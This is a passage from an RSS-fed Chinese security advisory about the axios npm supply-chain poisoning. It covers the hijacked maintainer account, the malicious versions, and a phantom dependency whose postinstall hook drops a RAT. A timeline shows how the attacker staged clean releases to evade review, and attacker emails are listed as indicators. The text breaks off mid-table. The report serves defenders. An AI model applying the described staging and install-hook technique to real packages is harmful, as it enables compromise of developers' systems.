</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">F5 安全公告 K000161019</span></span><span leaf=""><a href="https://my.f5.com/manage/s/article/K000161019" target="_blank">https://my.f5.com/manage/s/article/K000161019</a></span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(87, 107, 149);"><span leaf="">NGINX 安全公告</span></span><span leaf=""><a href="https://nginx.org/en/security_advisories.html" target="_blank">https://nginx.org/en/security_advisories.html</a></span></p></li></ul><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1ab7152c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486739%26idx%3D1%26sn%3D637f91dad1c504d0eb7dd9d5292d6057">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 14 May 2026 19:37:00 +0800</pubDate>
    </item>
    <item>
      <title>Axios 供应链投毒安全事件预警与排查报告</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486734&amp;idx=1&amp;sn=79dfe00b33f6bc5f5333a2d426fd1a7c</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>猎户攻防实验室</span> <span>2026-03-31 14:26</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=475bdd29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJ8Ev2iczlWG3ricGSkBLibJXTqc6BaBcMBic8IUFFGUfQ4CJq1OyIjCMdvS8zhhdbRbibRU6HiafPOJRYiaLKP3jcmeUTnvIb8Ze5icvEcREsHkjufo%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116);margin: 0px 0px 1em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">字数 3099，阅读大约需 16 分钟</span></p></blockquote><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116);font-size: 19.6px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.5em 1em;color: rgb(63, 63, 63);text-shadow: rgba(0, 0, 0, 0.1) 2px 2px 4px;"><span leaf="">Axios 供应链投毒安全事件预警与排查报告</span></h1><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">一、事件概述</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">2026 年 3 月 31 日，安全研究机构 StepSecurity 发现 JavaScript 生态中最广泛使用的 HTTP 客户端库 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">axios</span></strong><span leaf=""> 遭遇供应链攻击。攻击者劫持了 axios 首席维护者 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">jasonsaayman</span></code><span leaf=""> 的 npm 账号，成功向 npm 注册表发布了两个恶意版本。攻击者在 axios 源码中</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">未注入任何恶意代码</span></strong><span leaf="">，而是通过注入一个幽灵依赖 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">plain-crypto-js@4.2.1</span></code><span leaf="">，利用其 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">postinstall</span></code><span leaf=""> 脚本在安装时静默投放跨平台 RAT（远程访问木马）。</span></p><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116);margin: 0px 0px 1em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">如果已安装 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">axios@1.14.1</span></code><span leaf=""> 或 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">axios@0.30.4</span></code><span leaf="">，请假设系统已被控制。</span></strong></p></blockquote><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">二、攻击时间线</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">整个攻击预置时间跨度约 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">18 小时</span></strong><span leaf="">，展现了高度成熟的运营能力：</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">时间（北京时间）</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">事件</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">详情</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">2026-03-30 13:57</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">plain-crypto-js@4.2.0</span></code><p><span leaf=""> 发布</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">由攻击者账号 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">nrwise@proton.me</span></code><span leaf=""> 发布。这是一个</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">干净的伪装包</span></strong><span leaf="">，包含合法 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">crypto-js</span></code><span leaf=""> 源码的完整副本，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">无 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">postinstall</span></code><span leaf=""> 钩子</span></strong><span leaf="">。唯一目的是建立 npm 发布历史，使后续恶意版本在审查时不至于被标记为&#34;零历史新包&#34;。</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">2026-03-31 07:59</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">plain-crypto-js@4.2.1</span></code><p><span leaf=""> 发布</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">同一攻击者账号发布</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">恶意载荷版本</span></strong><span leaf="">。</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">postinstall: &#34;node setup.js&#34;</span></code><span leaf=""> 钩子和混淆投放器被引入。同时预置了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">package.md</span></code><span leaf="">（干净伪装的 package.json 存根），为后续自清理做准备。</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">2026-03-31 08:21</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">axios@1.14.1</span></code><p><span leaf=""> 发布</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">被劫持的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">jasonsaayman</span></code><span leaf=""> 账号（邮箱已被改为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ifstap@proton.me</span></code><span leaf="">）手动通过 npm CLI 发布。注入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">plain-crypto-js@^4.2.1</span></code><span leaf=""> 为运行时依赖，目标为 1.x 现代用户群。</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">2026-03-31 09:00</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">axios@0.30.4</span></code><p><span leaf=""> 发布</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">同一被劫持账号发布。</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">两个版本分支在 39 分钟内被同时投毒</span></strong><span leaf="">，最大化覆盖面。</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 